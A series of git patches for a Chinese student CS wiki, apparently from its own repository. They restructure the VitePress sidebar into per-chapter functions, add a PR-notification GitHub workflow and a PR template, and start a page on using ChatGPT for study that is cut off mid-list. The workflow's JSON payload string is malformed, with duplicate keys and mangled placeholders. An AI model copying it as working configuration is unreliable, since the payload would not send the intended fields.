'3.Y.1VMware的安装与安装Ubuntu22.04系统', link: '/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统' }, + { text: '3.Y.2WSL的安装', link: '/3.编程思维体系构建/3.Y.2WSL的安装' }, + { text: '3.Y.3Linux初探索', link: '/3.编程思维体系构建/3.Y.3Linux初探索' }, + { text: '3.Y.4Vim初探索', link: '/3.编程思维体系构建/3.Y.4Vim初探索' }, + { text: '3.Y.5linux小任务', link: '/3.编程思维体系构建/3.Y.5linux小任务' }, + ] + } + ] + }, + { + text: '4.人工智能', + collapsed: true, + items: [ + { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, + { text: '4.1前言', link: '/4.人工智能/4.1前言' }, + { text: '4.2机器学习(AI)快速入门(quick start)', link: '/4.人工智能/4.2机器学习(AI)快速入门(quick start)' }, + { + text: '4.3人工智能导论及机器学习入门', + collapsed: true, + items: [ + { text: '4.3人工智能导论及机器学习入门', link: '/4.人工智能/4.3人工智能导论及机器学习入门' }, + { + text: '4.3.1搜索', + collapsed: true, + items: [ + { text: '4.3.1搜索', link: '/4.人工智能/4.3.1搜索' }, + { text: '4.3.1.1程序示例——maze迷宫解搜索', link: '/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索' }, + { text: '4.3.1.2项目:Tic-Tac-Toe井字棋', link: '/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋' }, + ] + }, + { + text: '4.3.2知识推理', + collapsed: true, + items: [ + { text: '4.3.2知识推理', link: '/4.人工智能/4.3.2知识推理' }, + { text: '4.3.2.1程序示例——命题逻辑与模型检测', link: '/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测' }, + { text: '4.3.2.2项目:扫雷,骑士与流氓问题', link: '/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题' }, + ] + }, + { + text: '4.3.3不确定性问题', + collapsed: true, + items: [ + { text: '4.3.3不确定性问题', link: '/4.人工智能/4.3.3不确定性问题' }, + { text: '4.3.3.1程序示例', link: '/4.人工智能/4.3.3.1程序示例' }, + { text: '4.3.3.2项目:遗传', link: '/4.人工智能/4.3.3.2项目:遗传' }, + ] + }, + ] + }, + { text: '4.4FAQ:常见问题', link: '/4.人工智能/4.4FAQ:常见问题' }, + { + text: '4.6深度学习', + collapsed: true, + items: [ + { text: '4.6深度学习', link: '/4.人工智能/4.6深度学习' }, + { text: '4.6.1工欲善其事,必先利其器', link: '/4.人工智能/4.6.1工欲善其事,必先利其器' }, + { text: '4.6.2你可能会需要的术语介绍', link: '/4.人工智能/4.6.2你可能会需要的术语介绍' }, + { text: '4.6.3深度学习快速入门', link: '/4.人工智能/4.6.3深度学习快速入门' }, + { text: '4.6.4Pytorch安装', link: '/4.人工智能/4.6.4Pytorch安装' }, + { + text: '4.6.5计算机视觉(CV)', + collapsed: true, + items: [ + { text: '4.6.5计算机视觉(CV)', link: '/4.人工智能/4.6.5计算机视觉(CV)' }, + { text: '4.6.5.1CV领域任务(研究目标)', link: '/4.人工智能/4.6.5.1CV领域任务(研究目标)' }, + { + text: '4.6.5.2CV中的数据预处理(torchvision)', + collapsed: true, + items: [ + { text: '4.6.5.2CV中的数据预处理(torchvision)', link: '/4.人工智能/4.6.5.2CV中的数据预处理(torchvision)' }, + { text: '4.6.5.2.1数据读取', link: '/4.人工智能/4.6.5.2.1数据读取' }, + { text: '4.6.5.2.2数据增强', link: '/4.人工智能/4.6.5.2.2数据增强' }, + ] + }, + { + text: '4.6.5.3CV中的经典网络', + collapsed: true, + items: [ + { text: '4.6.5.3CV中的经典网络', link: '/4.人工智能/4.6.5.3CV中的经典网络' }, + { text: '4.6.5.3.1AlexNet', link: '/4.人工智能/4.6.5.3.1AlexNet' }, + { text: '4.6.5.3.2FCN', link: '/4.人工智能/4.6.5.3.2FCN' }, + { text: '4.6.5.3.3ResNet', link: '/4.人工智能/4.6.5.3.3ResNet' }, + { text: '4.6.5.3.4UNet', link: '/4.人工智能/4.6.5.3.4UNet' }, + { text: '4.6.5.3.5GAN', link: '/4.人工智能/4.6.5.3.5GAN' }, + { text: '4.6.5.3.6思考题参考', link: '/4.人工智能/4.6.5.3.6思考题参考' }, + { text: '4.6.5.3.7还要学更多?', link: '/4.人工智能/4.6.5.3.7还要学更多?' }, + ] + }, + { + text: '4.6.5.4神经辐射场(NeRF)', + collapsed: true, + items: [ + { text: '4.6.5.4神经辐射场(NeRF)', link: '/4.人工智能/4.6.5.4神经辐射场(NeRF)' }, + { text: '4.6.5.4.1NeRF', link: '/4.人工智能/4.6.5.4.1NeRF' }, + { text: '4.6.5.4.2NeRF的改进方向', link: '/4.人工智能/4.6.5.4.2NeRF的改进方向' }, + { text: '4.6.5.4.3自制数据集的工具COLMAP', link: '/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP' }, + ] + }, + { + text: '4.6.5.5行人重识别(ReID)', + collapsed: true, + items: [ + { text: '4.6.5.5行人重识别(ReID)', link: '/4.人工智能/4.6.5.5行人重识别(ReID)' }, + ] + }, + ] + }, + { + text: '4.6.6自然语言处理(NLP)', + collapsed: true, + items: [ + { text: '4.6.6自然语言处理(NLP)', link: '/4.人工智能/4.6.6自然语言处理(NLP)' }, + { text: '4.6.6.1NLP领域任务(研究目标)', link: '/4.人工智能/4.6.6.1NLP领域任务(研究目标)' }, + { + text: '4.6.6.2推荐系统', + collapsed: true, + items: [ + { text: '4.6.6.2推荐系统', link: '/4.人工智能/4.6.6.2推荐系统' }, + { text: '4.6.6.2.1推荐系统经典模型综述', link: '/4.人工智能/4.6.6.2.1推荐系统经典模型综述' }, + { + text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', + collapsed: true, + items: [ + { text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', link: '/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造' }, + { text: '4.6.6.2.2.1《推荐系统实践》读后的一些想法', link: '/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法' }, + { text: '4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统', link: '/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统' }, + { text: '4.6.6.2.2.3推荐系统实例', link: '/4.人工智能/4.6.6.2.2.3推荐系统实例' }, + { text: '4.6.6.2.2.4利用用户行为数据', link: '/4.人工智能/4.6.6.2.2.4利用用户行为数据' }, + { text: '4.6.6.2.2.5推荐系统冷启动', link: '/4.人工智能/4.6.6.2.2.5推荐系统冷启动' }, + { text: '4.6.6.2.2.6利用标签信息', link: '/4.人工智能/4.6.6.2.2.6利用标签信息' }, + { text: '4.6.6.2.2.7利用上下文信息', link: '/4.人工智能/4.6.6.2.2.7利用上下文信息' }, + ] + }, + { text: '4.6.6.2.3序列化推荐', link: '/4.人工智能/4.6.6.2.3序列化推荐' }, + ] + }, + { text: '4.6.6.3知识图谱', link: '/4.人工智能/4.6.6.3知识图谱' }, + ] + }, + { + text: '4.6.7Transformer', + collapsed: true, + items: [ + { text: '4.6.7Transformer', link: '/4.人工智能/4.6.7Transformer' }, + { text: '4.6.7.1VIT', link: '/4.人工智能/4.6.7.1VIT' }, + { text: '4.6.7.2BERT', link: '/4.人工智能/4.6.7.2BERT' }, + { text: '4.6.7.3MAE', link: '/4.人工智能/4.6.7.3MAE' }, + ] + }, + { + text: '4.6.8对比学习', + collapsed: true, + items: [ + { text: '4.6.8对比学习', link: '/4.人工智能/4.6.8对比学习' }, + { text: '4.6.8.1前言', link: '/4.人工智能/4.6.8.1前言' }, + { text: '4.6.8.2Inst Disc', link: '/4.人工智能/4.6.8.2Inst Disc' }, + { text: '4.6.8.3定义正负样本的方式', link: '/4.人工智能/4.6.8.3定义正负样本的方式' }, + { text: '4.6.8.4MoCo', link: '/4.人工智能/4.6.8.4MoCo' }, + { text: '4.6.8.5SimCLR', link: '/4.人工智能/4.6.8.5SimCLR' }, + { text: '4.6.8.6SwAV', link: '/4.人工智能/4.6.8.6SwAV' }, + { text: '4.6.8.7BYOL', link: '/4.人工智能/4.6.8.7BYOL' }, + { text: '4.6.8.8SimSiam', link: '/4.人工智能/4.6.8.8SimSiam' }, + { text: '4.6.8.9MoCo v3', link: '/4.人工智能/4.6.8.9MoCo v3' }, + { text: '4.6.8.10总结', link: '/4.人工智能/4.6.8.10总结' }, + ] + }, + { + text: '4.6.9深度强化学习', + collapsed: true, + items: [ + { text: '4.6.9深度强化学习', link: '/4.人工智能/4.6.9深度强化学习' }, + { text: '4.6.9.1前言', link: '/4.人工智能/4.6.9.1前言' }, + { text: '4.6.9.2基础资料推荐', link: '/4.人工智能/4.6.9.2基础资料推荐' }, + { text: '4.6.9.3基本概念介绍', link: '/4.人工智能/4.6.9.3基本概念介绍' }, + ] + } + ] + }, + { text: '4.7图网络略述(intro&GCN)', link: '/4.人工智能/4.7图网络略述(intro&GCN)' }, + { text: '4.8数据分析', link: '/4.人工智能/4.8数据分析' }, + { text: '4.9如何做研究', link: '/4.人工智能/4.9如何做研究' }, + { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, + { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, + { text: '4.12本章节内容的局限性', link: '/4.人工智能/4.12本章节内容的局限性' }, + { text: 'SRT社团介绍', link: '/4.人工智能/SRT' }, + { + text: 'FunRec', + collapsed: true, + items: [ + { text: 'FunRec概述', link: '/4.人工智能/FunRec概述' }, + { + text: '推荐系统概述', + collapsed: true, + items: [ + { text: '推荐系统的意义', link: '/4.人工智能/ch01/ch1.1.md' }, + { text: '推荐系统架构', link: '/4.人工智能/ch01/ch1.2.md' }, + { text: '推荐系统技术栈', link: '/4.人工智能/ch01/ch1.3.md' }, + ] + }, + { + text: '推荐系统算法基础', + collapsed: true, + items: [ + { + text: '经典召回模型', + collapsed: true, + items: [ + { + text: '基于协同过滤的召回', collapsed: true, items: [ + { text: 'UserCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md' }, + { text: 'ItemCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md' }, + { text: 'Swing', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md' }, + { text: '矩阵分解', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md' }, + ] + }, + { text: 'FM召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md' }, + { + text: 'item2vec召回系列', collapsed: true, items: [ + { text: 'word2vec原理', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md' }, + { text: 'item2vec召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md' }, + { text: 'Airbnb召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md' }, + ] + }, + { text: 'YoutubeDNN召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md' }, + { + text: '双塔召回', collapsed: true, items: [ + { text: '经典双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md' }, + { text: 'Youtube双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md' }, + ] + }, + { + text: '图召回', collapsed: true, items: [ + { text: 'EGES', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md' }, + { text: 'PinSAGE', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md' }, + ] + }, + { + text: '序列召回', collapsed: true, items: [ + { text: 'MIND', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md' }, + { text: 'SDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md' }, + ] + }, + { + text: '树模型召回', collapsed: true, items: [ + { text: 'TDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md' }, + ] + } + ] + }, + { + text: '经典排序模型', + collapsed: true, + items: [ + { text: 'GBDT+LR', link: '/4.人工智能/ch02/ch2.2/ch2.2.1.md' }, + { + text: '特征交叉', collapsed: true, items: [ + { text: 'FM', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md' }, + { text: 'PNN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md' }, + { text: 'DCN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md' }, + { text: 'AutoInt', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md' }, + { text: 'FiBiNET', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md' }, + ] + }, + { + text: 'WideNDeep系列', collapsed: true, items: [ + { text: 'Wide&Deep', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md' }, + { text: 'NFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md' }, + { text: 'AFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md' }, + { text: 'DeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md' }, + { text: 'xDeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md' }, + ] + }, + { + text: '序列模型', collapsed: true, items: [ + { text: 'DIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md' }, + { text: 'DIEN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md' }, + { text: 'DSIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md' }, + ] + }, + { + text: '多任务学习', collapsed: true, items: [ + { text: '多任务学习概述', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md' }, + { text: 'ESMM', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md' }, + { text: 'MMOE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md' }, + { text: 'PLE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md' }, + ] + } + ] + } + ] + } + ] + } + ] + }, + { + text: '5.富有生命的嵌入式', + collapsed: true, + items: [ + { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, + { text: '5.1嵌入式是什么?可以吃吗?', link: '/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?' }, + { text: '5.2New meaning of C', link: '/5.富有生命的嵌入式/5.2New meaning of C' }, + { text: '5.3还玩裸机?上操作系统!', link: '/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!' }, + ] + }, + { + text: '6.计算机安全', + collapsed: true, + items: [ + { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, + { + text: '6.1Web安全', + collapsed: true, + items: [ + { text: '6.1Web安全', link: '/6.计算机安全/6.1Web安全' }, + { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, + ] + }, + { + text: '6.2二进制安全', + collapsed: true, + items: [ + { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, + { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, + { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, + ] + }, + { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, + { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, + ] + }, + { + text: '7.网络应用开发', + collapsed: true, + items: [ + { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, + { + text: '7.1WEB开发入门', + collapsed: true, + items: [ + { text: '7.1WEB开发入门', link: '/7.网络应用开发/7.1WEB开发入门' }, + { + text: '7.1.1前端部分', + collapsed: true, + items: [ + { text: '7.1.1前端部分', link: '/7.网络应用开发/7.1.1前端部分' }, + { text: '7.1.1.1基础部分', link: '/7.网络应用开发/7.1.1.1基础部分' }, + { text: '7.1.1.2进阶部分', link: '/7.网络应用开发/7.1.1.2进阶部分' }, + { text: '7.1.1.3附录1:前端介绍(详细版)', link: '/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版)' }, + { text: '7.1.1.4附录2:大前端开发', link: '/7.网络应用开发/7.1.1.4附录2:大前端开发' }, + { text: '7.1.1.5附录3:跨端开发', link: '/7.网络应用开发/7.1.1.5附录3:跨端开发' }, + ] + }, + { + text: '7.1.2后端部分', + collapsed: true, + items: [ + { text: '7.1.2后端部分', link: '/7.网络应用开发/7.1.2后端部分' }, + { text: '7.1.2.1基础部分', link: '/7.网络应用开发/7.1.2.1基础部分' }, + { text: '7.1.2.2进阶部分', link: '/7.网络应用开发/7.1.2.2进阶部分' }, + ] + }, + ] + }, + ] + }, + { + text: '8.基础学科', + collapsed: true, + items: [ + { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, + { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, + ] + }, + { + text: 'Contributors', + link: '/contributors' + }, + { + text: '贡献指南', + link: '/CONTRIBUTING' + }, + { + text: 'notebook测试', + link: '/notebook' + } + ] +} diff --git a/hduhelp/notebook.md b/hduhelp/notebook.md new file mode 100644 index 0000000..e69de29 From ab449db1a8ebe167b23ab6b31e974ce3da0815ed Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 01:25:52 +0800 Subject: [PATCH 45/85] =?UTF-8?q?chore:=20=E5=88=86=E7=A6=BB=E7=9B=AE?= =?UTF-8?q?=E5=BD=95=E7=BB=93=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 15 +-- .vitepress/{main_sidebar.js => sidebar.js} | 124 +++++++++++++++++---- 2 files changed, 112 insertions(+), 27 deletions(-) rename .vitepress/{main_sidebar.js => sidebar.js} (94%) diff --git a/.vitepress/config.js b/.vitepress/config.js index cd00ac8..0d6ffe0 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -1,7 +1,7 @@ // import { defineConfig } from 'vitepress' import { withMermaid } from "vitepress-plugin-mermaid"; import mathjax3 from 'markdown-it-mathjax3'; -import { main_sidebar } from './main_sidebar.js'; +import { main_sidebar , chapter2, chapter3, chapter4, chapter5, chapter6, chapter7, chapter8 } from './sidebar.js'; const customElements = [ 'mjx-container', 'mjx-assistive-mml', @@ -107,12 +107,13 @@ export default withMermaid({ sidebar: { '/': main_sidebar(), - '/hduhelp/': [ - { - text: 'HDU帮助', - link: '/hduhelp/notebook', - } - ] + '/2.高效学习/': chapter2(), + '/3.编程思维体系构建/': chapter3(), + '/4.人工智能/': chapter4(), + '/5.富有生命的嵌入式/': chapter5(), + '/6.计算机安全/': chapter6(), + '/7.网络应用开发/': chapter7(), + '/8.基础学科/': chapter8(), }, socialLinks: [ { icon: 'github', link: 'https://github.com/camera-2018/hdu-cs-wiki' } diff --git a/.vitepress/main_sidebar.js b/.vitepress/sidebar.js similarity index 94% rename from .vitepress/main_sidebar.js rename to .vitepress/sidebar.js index e3d7893..bcc1517 100644 --- a/.vitepress/main_sidebar.js +++ b/.vitepress/sidebar.js @@ -28,8 +28,67 @@ export function main_sidebar() { ] }, { - text: '2.高效学习', + text: "2.高效学习", collapsed: true, + items: [{ text: "2.高效学习", link: "/2.高效学习/2.高效学习" }] + }, + { + text: "3.编程思维体系构建", + collapsed: true, + items: [ + { text: "3.编程思维体系构建", link: "/3.编程思维体系构建/3.编程思维体系构建" } + ] + }, + { + text: "4.人工智能", + collapsed: true, + items: [{ text: "4.人工智能", link: "/4.人工智能/4.人工智能" }] + }, + { + text: "5.富有生命的嵌入式", + collapsed: true, + items: [ + { text: "5.富有生命的嵌入式", link: "/5.富有生命的嵌入式/5.富有生命的嵌入式" } + ] + }, + { + text: "6.计算机安全", + collapsed: true, + items: [{ text: "6.计算机安全", link: "/6.计算机安全/6.计算机安全" }] + }, + { + text: "7.网络应用开发入门", + collapsed: true, + items: [ + { text: "7.网络应用开发入门", link: "/7.网络应用开发/7.网络应用开发入门" } + ] + }, + { + text: "8.基础学科", + collapsed: true, + items: [{ text: "8.基础学科", link: "/8.基础学科/8.基础学科" }] + }, + { + text: 'Contributors', + link: '/contributors' + }, + { + text: '贡献指南', + link: '/CONTRIBUTING' + }, + { + text: 'notebook测试', + link: '/notebook' + } + ] +} + +export function chapter2() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '2.高效学习', + collapsed: false, items: [ { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, { @@ -60,9 +119,15 @@ export function main_sidebar() { { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, ] }, + ] +} + +export function chapter3() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '3.编程思维体系构建', - collapsed: true, + collapsed: false, items: [ { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, { text: '3.0 编程入门之道', link: '/3.编程思维体系构建/3.0 编程入门之道' }, @@ -172,9 +237,16 @@ export function main_sidebar() { } ] }, + + ] +} + +export function chapter4() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '4.人工智能', - collapsed: true, + collapsed: false, items: [ { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, { text: '4.1前言', link: '/4.人工智能/4.1前言' }, @@ -459,9 +531,15 @@ export function main_sidebar() { } ] }, + ] +} + +export function chapter5() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '5.富有生命的嵌入式', - collapsed: true, + collapsed: false, items: [ { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, { text: '5.1嵌入式是什么?可以吃吗?', link: '/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?' }, @@ -469,9 +547,15 @@ export function main_sidebar() { { text: '5.3还玩裸机?上操作系统!', link: '/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!' }, ] }, + ] +} + +export function chapter6() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '6.计算机安全', - collapsed: true, + collapsed: false, items: [ { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, { @@ -495,9 +579,15 @@ export function main_sidebar() { { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, ] }, + ] +} + +export function chapter7() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '7.网络应用开发', - collapsed: true, + collapsed: false, items: [ { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, { @@ -530,25 +620,19 @@ export function main_sidebar() { }, ] }, + ] +} + +export function chapter8() { + return [ + { text: '返回上一层', link: '/简介' }, { text: '8.基础学科', - collapsed: true, + collapsed: false, items: [ { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, ] - }, - { - text: 'Contributors', - link: '/contributors' - }, - { - text: '贡献指南', - link: '/CONTRIBUTING' - }, - { - text: 'notebook测试', - link: '/notebook' } ] -} +} \ No newline at end of file From a899a678445d254b925cedc5f112be91ba2255b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=91=E8=BD=BB=E7=8B=82?= <49270362+MarleneJiang@users.noreply.github.com> Date: Sat, 15 Jul 2023 05:12:04 +0800 Subject: [PATCH 46/85] Create subscribe.yaml --- .github/workflows/subscribe.yaml | 36 ++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 .github/workflows/subscribe.yaml diff --git a/.github/workflows/subscribe.yaml b/.github/workflows/subscribe.yaml new file mode 100644 index 0000000..e1fdd73 --- /dev/null +++ b/.github/workflows/subscribe.yaml @@ -0,0 +1,36 @@ +name: Subscribe to updates + +on: + pull_request: + types: + - closed + branches: + - 'main' + paths: + - '**.md' +jobs: + subscribe: + if: github.event.pull_request.merged == true + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 # OR "2" -> To retrieve the preceding commit. + + - name: Changed Files Exporter + id: changed-files + uses: umani/changed-files@v4.0.0 + with: + repo-token: ${{ github.token }} + pattern: '^.*\.(md|markdown)$' + + - name: Get PR labels + id: pr-labels + uses: joerick/pr-labels-action@v1.0.8 + + + - name: Post + uses: dkershner6/post-api-call-action@v1 + with: + url: "https://np4l5e.laf.run/pr" + data: "{\"id\": \"github.event.pullrequest.number\",\"labels\":\"{{ github.event.pull_request.number }}\", \"labels\": \"{{ steps.pr-labels.outputs.labels }}\", \"files_updated\": \"steps.changed−files.outputs.filesupdated\",\"filescreated\":\"{{ steps.changed-files.outputs.files_updated }}\", \"files_created\": \"{{ steps.changed-files.outputs.files_created }}\", \"files_deleted\": \"steps.changed−files.outputs.filesdeleted\",\"body\":\"{{ steps.changed-files.outputs.files_deleted }}\",\"body\":\"{{github.event.pull_request.body}}\",\"title\":\"github.event.pullrequest.title\",\"url\":\"{{github.event.pull_request.title}}\",\"url\":\"{{github.event.pull_request.html_url}}\"}" From 9283e9f11d6b8a51b7d7146ca4ca0199d6278920 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=91=E8=BD=BB=E7=8B=82?= <49270362+MarleneJiang@users.noreply.github.com> Date: Sat, 15 Jul 2023 05:13:27 +0800 Subject: [PATCH 47/85] Create pull_request_template.md --- .github/pull_request_template.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .github/pull_request_template.md diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..3901ff5 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,3 @@ +本次更新的内容主要为... + +欢迎前来学习 From dd1626c3215bac2ee27f6114846ccfb7eacb3e1d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=91=E8=BD=BB=E7=8B=82?= <49270362+MarleneJiang@users.noreply.github.com> Date: Sat, 15 Jul 2023 05:14:31 +0800 Subject: [PATCH 48/85] Update subscribe.yaml --- .github/workflows/subscribe.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/subscribe.yaml b/.github/workflows/subscribe.yaml index e1fdd73..516682e 100644 --- a/.github/workflows/subscribe.yaml +++ b/.github/workflows/subscribe.yaml @@ -5,7 +5,7 @@ on: types: - closed branches: - - 'main' + - 'master' paths: - '**.md' jobs: From 236db02d877f8677b96113dcc6a53ca6e5e32e0b Mon Sep 17 00:00:00 2001 From: GoldenSheep Date: Sat, 15 Jul 2023 10:46:15 +0800 Subject: [PATCH 49/85] =?UTF-8?q?docs:=20AI=E5=AD=A6=E4=B9=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/sidebar.js | 1 + 2.高效学习/2.1.6学会使用AI辅助学习.md | 15 +++++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 2.高效学习/2.1.6学会使用AI辅助学习.md diff --git a/.vitepress/sidebar.js b/.vitepress/sidebar.js index bcc1517..2aed696 100644 --- a/.vitepress/sidebar.js +++ b/.vitepress/sidebar.js @@ -101,6 +101,7 @@ export function chapter2() { { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, + { text: '2.1.6学会使用AI辅助学习', link: '/2.高效学习/2.1.6学会使用AI辅助学习' }, ] }, { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, diff --git a/2.高效学习/2.1.6学会使用AI辅助学习.md b/2.高效学习/2.1.6学会使用AI辅助学习.md new file mode 100644 index 0000000..15e731d --- /dev/null +++ b/2.高效学习/2.1.6学会使用AI辅助学习.md @@ -0,0 +1,15 @@ +# 2.1.6学会使用AI辅助学习 + +在过去,AI取代人类似乎一直是一件遥远的事情,但在2022年末OpenAI的ChatGPT发布后在全球引发了一场AI热潮,ChatGPT所表现出来的能力让我们思考在不久的未来我们真的会被AI取代吗? + +在知识储备上,我们人类在AI面前绝不占优势,就比如ChatGPT是几乎使用了绝大多数西方互联网的优质回答而训练出来的,想要在知识储备量战胜AI已经成了天方夜谭,但大家也不要为不知道一些知识而焦虑,我很欣赏南京大学的蒋炎岩教授说的一句话:“大佬和小白的差距并不是知识量的差距,而是大佬知道如何问出好的问题,搜索引擎会告诉你答案,或许未来还可以问AI” + +假如你已经玩过ChatGPT,你会发现它还远没有到真正取代人类的地步,而是它的出现已经能够使教育以及学习方式发生巨大变革。接下去我会给你们一些小建议: + +- 如果你希望完成一件事但却不知道怎么做,你可以问搜索引擎 (PS:远离百度! 通常会得到 StackOverflow 上的答案),或是直接问 ChatGPT!不过要小心,人工智能现在还经常一本正经胡说八道。 +- 问出合适的问题,就像你问一个大佬,假如你给出的prompt非常宽泛而模糊,无论是谁都没法保障给出的答案是你想要的。比如你问“如何学好数学”,你可能会得到“多做题”这样的答案,但这并不是你想要的。你应该问“如何学好导数”,这样你就能得到更加精准的答案。问ChatGPT也是同样的道理,假如你给了它一个非常宽泛的prompt,它也只能给你一个模糊而无用的回答,假如给它的prompt非常准确,那么你得到一个优质的回答的概率也会更高。 +- 有时候遇到一些你不愿意从头读到尾的手册,这时候去问ChatGPT是一个合适的选择,在一个手册里可能你需要的只是其中的一小段,但是手册却有几十页,此时ChatGPT的优势就体现出来了,它会根据你给的prompt从手册中总结你需要的知识告诉你,这极大地降低了检索知识的成本,所以我觉得ChatGPT更像一个加强版搜索引擎。 +- 向AI获取知识,在现在的很多时候,AI对于知识的掌控和讲解的逻辑性甚至超过了相当一大部分老师,或许去听3节长课甚至不如向ChatGPT问几个问题学到的知识更多,(或许未来的课堂可以变成老师下发一张写着问题的卡片,我们只需要发给ChatGPT,通过它的回答来学习)。 +- 